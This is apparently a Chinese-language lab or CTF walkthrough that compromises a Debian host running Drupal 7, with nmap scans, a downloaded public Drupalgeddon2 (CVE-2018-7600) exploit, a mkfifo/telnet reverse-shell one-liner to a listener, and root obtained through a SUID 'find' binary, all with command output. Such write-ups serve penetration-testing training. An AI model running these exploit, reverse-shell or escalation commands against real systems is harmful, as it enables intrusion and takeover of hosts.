前言

本文,我们将利用一个公开的漏洞利用程序,通过攻击存在漏洞的 Web 应用程序来获取目标系统的访问权限。随后,我们将通过查找并利用 SUID 二进制文件来提升权限,从而在目标系统上获得 root 级访问权限。

注意:本文仅探讨解题方法,所述技术严禁用于任何非法网络行为


枚举

首先使用nmap进行信息收集。

nmap

起手式:nmap,探测存活端口。发现22,80,111,50881端口是开放的。

sudo nmap -sT 192.168.208.193 -p- --min-rate 10000

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 02:58 EDT
Warning: 192.168.208.193 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.208.193
Host is up (0.091s latency).
Not shown: 49272 filtered tcp ports (no-response), 16259 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
50881/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 75.07 seconds

获取存活端口后,下一步自然是对这些端口进行全面扫描,以获取服务版本、系统类型及操作系统等详细信息。

sudo nmap -sV -A -O 192.168.208.193 -p 22,80,111,50881 --min-rate 10000

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-16 03:00 EDT
Nmap scan report for 192.168.208.193
Host is up (0.087s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to Drupal Site | Drupal Site
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36890/udp6  status
|   100024  1          50881/tcp   status
|   100024  1          51191/tcp6  status
|_  100024  1          58900/udp   status
50881/tcp open  status  1 (RPC #100024)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 - 3.13 (98%), Linux 2.6.32 - 3.10 (98%), Linux 3.10 - 4.11 (96%), Linux 3.2 - 4.(Linux 3.X) (95%), Olivetti 65C-9 printer (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 111/tcp)
HOP RTT      ADDRESS
1   85.05 ms 192.168.45.1
2   84.98 ms 192.168.45.254
3   86.90 ms 192.168.251.1
4   85.06 ms 192.168.208.193

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.71 seconds

通过以上信息得知,目标操作系统为: Debian Linux;22端口上部署着OpenSSH 6.0p1;80端口上部署有Apache httpd 2.2.22。


WEB 枚举

侧重点一样放在攻击面更大的WEB应用系统上。我们访问80端口上的应用系统,发现目标Web服务器上托管着Drupal CMS。

结合nmap得扫描结果可以得知Drupal CMS 7。并且访问了robots.txt中的目录没有发现什么有价值的信息。


突破边界

不过Drupal CMS 7存在一个RCE漏洞。

CVE-2018-7600:Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution

首先将exploit保存到本地,然后执行exploit,获取一个反向shell。

wget https://github.com/pimps/CVE-2018-7600/raw/refs/heads/master/drupa7-CVE-2018-7600.py
python drupa7-CVE-2018-7600.py -c id http://192.168.208.193

=============================================================================
|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |
|                              by pimps                                     |
=============================================================================

[*] Poisoning a form and including it in cache.
[*] Poisoned form ID: form-VobDXe96d8cMIyG6U6-VqHQdyJ0LCdd1AFWn3KX5ZEI
[*] Triggering exploit to execute: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

本地开启一个侦听端口,用来接收反向shell。

nc -nvlp 4444

发现可以成功执行系统命令,那么接下来我们就需要获取一个系统的shell了。

python drupa7-CVE-2018-7600.py -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.45.196 4444 > /tmp/f' http://192.168.208.193

远程包含payload。成功突破边界获取到目标主机的shell。

nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.208.193] 35093
/bin/sh: 0: can't access tty; job control turned off
$ /bin/sh: 1: Trying: not found
$ /bin/sh: 2: Connected: not found
$ /bin/sh: 3: Escape: not found
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$


提权

获取到目标主机权限后,首先升级下我们的终端

python3 -c 'import pty;pty.spawn("/bin/bash")'

SUID

检查操作系统哪些二进制文件具有SUID权限,然后我们发现了find命令,那么就可以利用find的SUID权限进行提权。

find . -exec /bin/bash -p \; -quit

find . -exec /bin/bash -p \; -quit
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
bash-4.2# whoami
whoami
root
bash-4.2# 

这意味着我们可以直接提权至root。


总结

本文演示了针对Debian Linux系统的渗透测试过程。攻击者首先通过nmap扫描发现目标开放22、80等端口,运行Drupal 7 CMS。利用CVE-2018-7600漏洞获取www-data权限的反向shell,随后发现find命令具有SUID权限,通过执行find提权命令成功获取root权限。整个攻击过程展现了从信息收集、漏洞利用到权限提升的完整链条,揭示了系统配置不当和未及时修补漏洞的安全风险。

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐